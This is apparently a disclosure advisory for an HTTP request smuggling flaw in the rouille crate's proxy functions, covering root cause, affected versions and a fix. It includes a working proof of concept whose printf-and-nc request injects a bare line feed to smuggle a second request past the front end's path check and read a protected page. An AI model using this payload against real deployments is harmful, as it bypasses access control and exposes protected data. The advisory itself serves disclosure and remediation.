## https://sploitus.com/exploit?id=PACKETSTORM:227167
# Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
**Assigned CVE ID:** CVE-2026-67182
## Summary
`rouille::proxy::proxy` and `rouille::proxy::full_proxy` copy client-supplied
request header values into the upstream connection without checking them for
control characters. A header value can legitimately contain a bare line feed
(0x0A), because the underlying `tiny_http` header parser only ends a header line
on CRLF. Backends that accept a bare LF as a line terminator therefore read one
front-end request as two.
The second request is fully attacker-controlled, including its method and path,
and never passes through the rouille handler that decided to proxy the first
one. Its response body is also returned to the attacker.
## Affected versions
Repo URL: https://github.com/tomaka/rouille
| | |
|---|---|
| First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Not affected | 0.3.2 and earlier, which have no proxy module |
| Fixed in | no fixed version at time of writing |
Every published release from 0.3.3 to 3.6.2 contains the unmodified code. The
file `src/proxy.rs` is byte-identical between the 3.6.2 tag and the current
`master` branch.
Only applications that call `proxy::proxy` or `proxy::full_proxy` are affected.
## Severity
CWE-444 (Inconsistent Interpretation of HTTP Requests), reached through
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).
CVSS 4.0 base score 6.9 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N`
## Threat model
The attacker is a remote, unauthenticated client that can send raw HTTP to a
rouille server. No credentials, no user interaction, and no position on the
network between components are required.
The deployment at risk is a rouille application acting as a reverse proxy that
makes a security decision (routing, authentication, authorization, or content
filtering) before calling `proxy()`, in front of a backend whose HTTP parser
accepts a bare LF as a header line terminator.
Measured backend behaviour:
| Backend | Version tested | Accepts the injected LF |
|---|---|---|
| Go `net/http` | go1.26.4 | yes, serves the smuggled request |
| Python `http.server` (`protocol_version = "HTTP/1.1"`) | CPython 3.13 | yes, serves the smuggled request |
| Node.js | v26.3.0 | no, returns 400 (llhttp strict mode) |
| PHP built-in server | 8.5.8 | no, drops the connection |
nginx and Apache were not tested. RFC 9112 section 2.2 permits a recipient to
recognise a lone LF as a line terminator, so the accepting backends are behaving
within spec.
## Root cause
`rouille/src/proxy.rs`, lines 157 to 174:
```rust
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
```
Line 171 is the sink. `value` is untrusted and is written with no validation.
The taint enters through `tiny_http`. In
`tiny_http-0.12.0/src/client.rs`, lines 80 to 102, a header line ends only when
a LF follows a CR:
```rust
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
```
A lone LF falls through to line 100 and is pushed into the line buffer. LF is
valid ASCII, so `AsciiString::from_ascii` accepts it. `Header::from_str` at
`tiny_http-0.12.0/src/common.rs` line 184 then only trims the value, which
strips leading and trailing whitespace but leaves interior bytes alone:
```rust
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
```
The result is a rouille header value containing a raw `\n`, which line 171 of
`proxy.rs` writes straight into the upstream request.
`Connection: close` on line 173 does not contain the damage. The injected blank
line ends the first request before line 173 runs, so that header is absorbed
into the smuggled request. The first request carries no `Connection` header and
defaults to HTTP/1.1 keep-alive, which is exactly what lets the backend go on to
process the second one.
## Proof of Concept
Step 1. Create a backend document root with a public file and a file the proxy
is supposed to protect.
```sh
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
```
Step 2. Start a keep-alive backend on port 8001.
```sh
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
```
Step 3. Start the rouille front end on port 8000. It proxies `/public/` and
refuses everything else.
```rust
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
```
Step 4. Confirm the access control works.
```sh
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
```
```
HTTP/1.1 403 Forbidden
```
Step 5. Send a single request for the permitted path with a bare LF inside a
header value. In the command below `\n` is a bare line feed and `\r\n` is a
CRLF. The distinction is the whole attack, so do not let an editor normalise it.
```sh
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
```
Result. The backend log shows two requests, the second one being the path the
front end refused in step 4:
```
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
```
The attacker also receives the protected content, because `src/proxy.rs` line
224 turns the remainder of the upstream socket into the response body:
```
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
```
## Impact
An unauthenticated client can issue an arbitrary request to the backend and read
its response, while the rouille handler only ever sees the permitted request.
This defeats path-based access control, authentication performed in the handler,
and any request inspection done before the call to `proxy()`.
Two limits are worth stating. `proxy()` opens a fresh TCP connection per request
and does not pool, so this does not give the cross-user request-queue poisoning
associated with classic smuggling. The attack also needs an LF-tolerant backend,
as measured above.
## Remediation
Reject header names and values that contain control characters before writing
them upstream. In `src/proxy.rs`, inside the loop at line 157:
```rust
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}